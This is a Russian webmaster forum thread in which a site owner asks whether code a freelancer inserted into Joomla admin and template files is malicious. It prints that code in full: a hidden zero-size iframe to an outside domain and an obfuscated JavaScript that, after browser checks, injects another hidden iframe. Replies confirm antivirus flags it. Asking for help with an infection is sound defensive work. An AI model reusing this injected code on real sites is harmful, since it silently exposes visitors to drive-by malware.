X   Сообщение сайта
(Сообщение закроется через 3 секунды)



 

Здравствуйте, гость (

| Вход | Регистрация )

> Прошу помочь разобраться, Вирусня или нет?
Theofit
Theofit
Topic Starter сообщение 19.6.2013, 10:37; Ответить: Theofit
Сообщение #1


Доброго времени суток!
Как я уже писал в теме http://www.maultalk.com/topic122896s10.html , после заказа работы у одного из форумчан - обнаружил вставки в файлы сайта вредоносного кода. Какие могут быть последствия и вообще что означают эти 2 кода. Были вставлены после тэга </body> в корень админки сайта и в корень шаблона джумлы. Собственно, сам код:

<iframe src="http://skachat.wbtop.com/?3" width="0" height="0" frameborder="0"></iframe>


<script>var R = ["16","12","5","60","63","2","56","33","55","54","6","66","10","59","64","1","75","8","87","44","45","88","82","20","74","23","30","18","4","37","65","34","69","73","78","52","92","22","81","72","62","15","53","31","77","28","27","49","80","46","68","91","11","13","47","58","43","14","90","29","19","41","86","7","61","0","70","48","35","38","79","26","71","50","9","32","25","85","21","76","57","36","84","42","40","51","93","24","83","89","39","17","67","3"];var QNtDO = ["470","415","390","469","394","397","392","387","465","386","460","470","386","460","460","396","471","390","396","398","394","457","386","409","386","389","459","459","460","387","454","468","396","459","408","472","397","390","475","394","469","386","457","467","452","409","399","473","479","412","391","471","390","386","409","408","398","398","476","387","409","415","392","394","415","398","470","398","415","453","460","394","453","392","386","411","391","479","388","460","386","389","411","397","415","470","396","452","398","409","459","387","452","452"];function pYMuS(EOIyZPEhZNjS, rUlyB){var MpyIW='';for(var qmI=0;qmI< EOIyZPEhZNjS.length;qmI++)MpyIW+=String.fromCharCode(parseInt(EOIyZPEhZNjS[rUlyB[qmI]])^491);return MpyIW;}function b(HJWPROunh, JCykOKGCP){var O='';for(var EQeMBfTUn=0;EQeMBfTUn< HJWPROunh.length;EQeMBfTUn++)O += String.fromCharCode(parseInt(HJWPROunh[EQeMBfTUn], 16)^JCykOKGCP); return O;}(function(oV){var Dtf=function(){if(!oV.n){oV.n=841;var EgNAQfFJ = ["57","5c","50","46","5e","56","5d","47"];var KbTNYubZ=b(EgNAQfFJ, 51);var nLr = ["b8","a9","be","ba","af","be","9e","b7","be","b6","be","b5","af"];var F=b(nLr, 219);var ZivbSAFVBw = ["ac","a1","be"];var HzwDtiPcDRxxv=b(ZivbSAFVBw, 200);var jOowrQw = ["af","a8","a8","a3","b4","8e","92","8b","8a"];var eg=b(jOowrQw, 198);var SXjvWrLqSq = ["40","47","4a","5f","56"];var GAwpd=b(SXjvWrLqSq, 51);var qerGAumxR = ["7a","77","6d","6e","72","7f","67"];var xilKabYipqVF=b(qerGAumxR, 30);var A = ["49","48","49","42"];var ZLNXRfNyBOkIHh=b(A, 39);var tzOWkkQhzJ = ["90","9d","96","8b"];var SQY=b(tzOWkkQhzJ, 242);var qS = ["5f","4e","4e","5b","50","5a","7d","56","57","52","5a"];var hcQdmQnxOIztU=b(qS, 62);if(function sYTGRziQTrAEi(){var BCSM=true;var IKEqhQjgLLtWs=true;var WrxiXWv = ["eb","f1","fc","fd","fa","f9","ea"];var QVrXKcWeZGEPPu=b(WrxiXWv, 152);var xnROOTXpLc=!!window[QVrXKcWeZGEPPu];var GXSNg = ["5d","56","4c","51","53","5b"];var Zy=b(GXSNg, 62);var nqLQ=!!window[Zy];var MvFOJCIC = ["8e","91","84","93","80"];var jdSHv=b(MvFOJCIC, 225);var RHvgCAViwJrcd=!!window[jdSHv];var NrGKYa = ["d1","cc","c0","d1","c6","da","d5","d8"];var NTGp=b(NrGKYa, 180);var HV=!window[NTGp];var G=/*@cc_on true; @*/false;if(xnROOTXpLc||nqLQ||RHvgCAViwJrcd||HV||G){BCSM = true;}else{BCSM = false;}var UVVINJu = ["2b","15","12"];var jTsBNEooFpjlW=b(UVVINJu, 124);var AuWl = ["83","af","ad"];var segqQCylvnlKNC=b(AuWl, 206);var VTiLYelKZvJHAr = ["26","3","4","1f","12"];var kLdLTUGqNR=b(VTiLYelKZvJHAr, 106);var uhfef = ["8f","80","97","88","86","80","95","8e","93"];var MUn=b(uhfef, 225);var QpCqUlZHcqdMw = ["1a","1d","17","16","b","3c","15"];var H=b(QpCqUlZHcqdMw, 115);var AGGovEuMkmexj = ["5","19","14","1","13","1a","7","18"];var WJGjUAmWHMJaah=b(AGGovEuMkmexj, 117);var iAJKdltQjIBzC=window[MUn][WJGjUAmWHMJaah][H](jTsBNEooFpjlW) > -1;var UlfUe=window[MUn][WJGjUAmWHMJaah][H](segqQCylvnlKNC) > -1;var ZbZp=window[MUn][WJGjUAmWHMJaah][H](kLdLTUGqNR) > -1;if(iAJKdltQjIBzC||UlfUe||ZbZp){IKEqhQjgLLtWs = true;}else{IKEqhQjgLLtWs = false;}return (BCSM&&IKEqhQjgLLtWs);}()){var vss=window[KbTNYubZ][F](HzwDtiPcDRxxv);vss[eg]=pYMuS(QNtDO, R);vss[GAwpd][xilKabYipqVF]=ZLNXRfNyBOkIHh;window[KbTNYubZ][SQY][hcQdmQnxOIztU](vss);}}};var dXxO = ["d5","d0","d0","f1","c2","d1","da","c0","f8","dd","c7","c0","d1","da","d1","c6"];var vdomcyuL=b(dXxO, 180);var rUSLeQ = ["f6","e3","e3","f6","f4","ff","d2","e1","f2","f9","e3"];var RUFsDItA=b(rUSLeQ, 151);var ldSB = ["2a","2b"];var PTzq=b(ldSB, 69);var lzVENrDJ = ["5f","5c","52","57"];var yLYeO=b(lzVENrDJ, 51);var lxZxKMbBW = ["d4","dd","d1","c7","c1"];var DqgtoHw=b(lxZxKMbBW, 178);var QlcIAn = ["a3","ad","b4","b3"];var PGfdLxmwai=b(QlcIAn, 193);var K = ["30","32","28","2e","38","30","32","2b","38"];var XyhdQNLKtkvImf=b(K, 93);var c = ["57","5c","5e","41","56","52","57","4a"];var NpQODRmYzyMmB=b(c, 51);var DgVAxieaOJlRqw;if(oV[vdomcyuL])DgVAxieaOJlRqw=vdomcyuL;else DgVAxieaOJlRqw=RUFsDItA;var sAwgnlPntah=[yLYeO, DqgtoHw, PGfdLxmwai, XyhdQNLKtkvImf, NpQODRmYzyMmB];for(eRzhN in sAwgnlPntah){oV[DgVAxieaOJlRqw](sAwgnlPntah[eRzhN], Dtf, false);oV[DgVAxieaOJlRqw]('on' + sAwgnlPntah[eRzhN], Dtf, false);}})(window)</script>
0
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
 
Открыть тему
Ответов (1 - 2)
rjksdfhe
rjksdfhe
сообщение 19.6.2013, 11:37; Ответить: rjksdfhe
Сообщение #2


Не понял, что вы неподелили.
Если по первому понятно, то второе создаёт это:


И каспер ругается так:


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Theofit
Theofit
Topic Starter сообщение 19.6.2013, 11:43; Ответить: Theofit
Сообщение #3


rjksdfhe, Спасибо большое, а я никак не понимал откуда этот repair-games.com брался.

Замечание модератора:
Эта тема была закрыта автоматически ввиду отсутствия активности в ней на протяжении 100+ дней.
Если Вы считаете ее актуальной и хотите оставить сообщение, то воспользуйтесь кнопкой
или обратитесь к любому из модераторов.
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Открыть тему
Тема закрыта
1 чел. читают эту тему (гостей: 1, скрытых пользователей: 0)
Пользователей: 0


Свернуть

> Похожие темы

  Тема Ответов Автор Просмотров Последний ответ
Открытая тема (нет новых ответов) Нужна помочь с переносом сайта
3 karambas 2311 2.1.2023, 5:11
автор: kuz999
Открытая тема (нет новых ответов) Помочь пополнить рекламный аккаунт Facebook
Подходит для тех у кого имеется доступ к своему Сбербанк Онлайн.
0 alikitto 2711 5.6.2018, 15:09
автор: alikitto
Открытая тема (нет новых ответов) Тема имеет прикрепленные файлыПомочь с удалением вируса. ДЛЕ
1 albedo 1114 21.4.2018, 22:07
автор: kretovdima
Открытая тема (нет новых ответов) Прошу оценить мои текста
20 Alex_100 6228 18.9.2016, 1:51
автор: Apollo92
Открытая тема (нет новых ответов) Кто сможет помочь с шаблоном для wordpress?
2 mitzury 2037 10.8.2016, 12:12
автор: mitzury


 



RSS Текстовая версия Сейчас: 20.4.2024, 0:48
Дизайн